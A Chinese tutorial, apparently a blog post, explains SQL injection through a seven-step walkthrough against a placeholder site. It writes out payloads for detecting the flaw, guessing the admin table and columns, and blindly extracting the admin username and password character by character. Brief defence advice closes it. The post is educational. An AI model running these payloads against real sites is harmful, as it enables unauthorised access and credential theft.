本文结合实例,讲述在Web应用开发过程中,SQL注入的基本原理、攻击方式及防御手段。梳理知识的同时,纪念一下咱们的1024程序员节。
B/S(浏览器/服务器)模式,属于当前最常见、应用最广泛的网络应用服务形式。web应用服务通常都会向用户提供接口,用于用户鉴权、查询等基础功能,而这些功能则为SQL注入缺陷提供了前提条件。
1)SQL注入的概念
所谓SQL注入(sql injection),即通过精心的构造数据库查询代码,查询到更多的网站数据。
SQL注入攻击的含义也就显而易见,即恶意浏览者通过构造数据库查询代码,获取网站的敏感数据,甚至通过网站的一些现有功能恶意的删除数据。
示例:
比如说:查询项目信息
projects数据库表用存放项目信息,那么程序中经常会通过id查数据。id就是url种传递的参数。
如果id传入的参数为1
类似:select * from projects where id= '1';返回id为1的项目信息。
但是如果id传入的参数为 ' or '1'='1
就会执行:select * from projects where id=' ' or '1'='1';会返回全部的项目信息。
2)SQL注入攻击手段
第一步:寻找可能的SQL注入点
当web应用提供类似http://hostname:port/XXXX/list?id= 这样的查询接口时,那么它的SQL语句也大致如下:
select * from <tableName> where <paramName>=xx;
如果对<paramName>参数的过滤不严格的话,就可能存在SQL的注入点。
第二步:寻找SQL注入漏洞是否存在
我们试着调用http://hostname:port/XXXX/list?id=1'
如果浏览器返回:
XXXXX语法错误
我们试着调用http://hostname:port/XXXX/list?id=1;
如果浏览器返回:
XXXXX不支持所需属性
我们试着调用http://hostname:port/XXXX/list?id=1 and 1=2
如果浏览器返回:
返回0条数据
我们试着调用http://hostname:port/XXXX/list?id=1 and 1=1
正常返回数据;
到这里基本可以确认,该网站存在SQL注入漏洞。
第三步:寻找管理账号数据库表
这时候,我们假设程序员会用admin作为管理账号的数据库表名。
我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select * from admin)
正常返回数据;
到这里基本可以确认admin表是存在的。
第四步:寻找管理账号数据库表的字段
这时候,我们假设admin数据库表会有id字段。
我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select id from admin)
正常返回数据;
到这里基本可以确认id字段是存在的。
这时候,我们假设admin数据库表会有username字段。
我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select username from admin)
正常返回数据;
到这里基本可以确认username字段是存在的。
这时候,我们假设admin数据库表会有password 字段。
我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select password from admin)
正常返回数据;
到这里基本可以确认password 字段是存在的。
第五步:寻找用户名和密码的长度
我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select id from admin id =1)
正常返回数据;
到这里基本可以确认id=1是存在账号数据的。
我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select id from admin len(username) < 10 and id=1)
正常返回数据;
到这里基本可以确认username的长度<10。
我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select id from admin len(username) = 9 and id=1)
正常返回数据;
到这里基本可以确认username的长度=9。
同样的道理,可以猜测密码的长度:
我们试着调用http://hostname:port/XXXX/list?id=1 and exists( select id from admin len(password) = 20 and id=1)
正常返回数据;
到这里基本可以确认password的长度=20。
第六步:寻找用户名
我们试着调用http://hostname:port/XXXX/list?id=1 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<120)
asc函数是将字符串转为ASCII码值,mid函数是截取username字段值的字串,从第1位开始,截取长度位1。意思就是,我们觉得username的第一个字的ASCII码值小于120。
正常返回数据;
到这里基本可以确认username的第一个字的ASCII码值小于120。
我们试着调用http://hostname:port/XXXX/list?id=1 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))>90)
正常返回数据;
到这里基本可以确认username的第一个字的ASCII码值大于90。
同样三明治定理,最终可以确认出username的ASCII码值,进而找到username的第一个字符。
以此类推,最终可以推算出username。
假设最终推算的username是rootAdmin。
我们试着调用http://hostname:port/XXXX/list?id=1 and 1=(select id from (select * from admin where id=1) where username ='rootAdmin')
正常返回数据;
到这里基本可以确认username就是rootAdmin。
第七步:寻找密码
参考第六步的方式,同样可以找到password。
到此位置,当找到用户名和密码,那么就可以操作原先无法接触到的数据了。
3)SQL注入的防御手段
通过上面的攻击方式,防御的思路主要有以下几点:
a)严格过滤用户提交的数据和输入参数;
b)设置数据库服务器访问的权限;
c)使用存储过程,减少动态SQL语句的使用。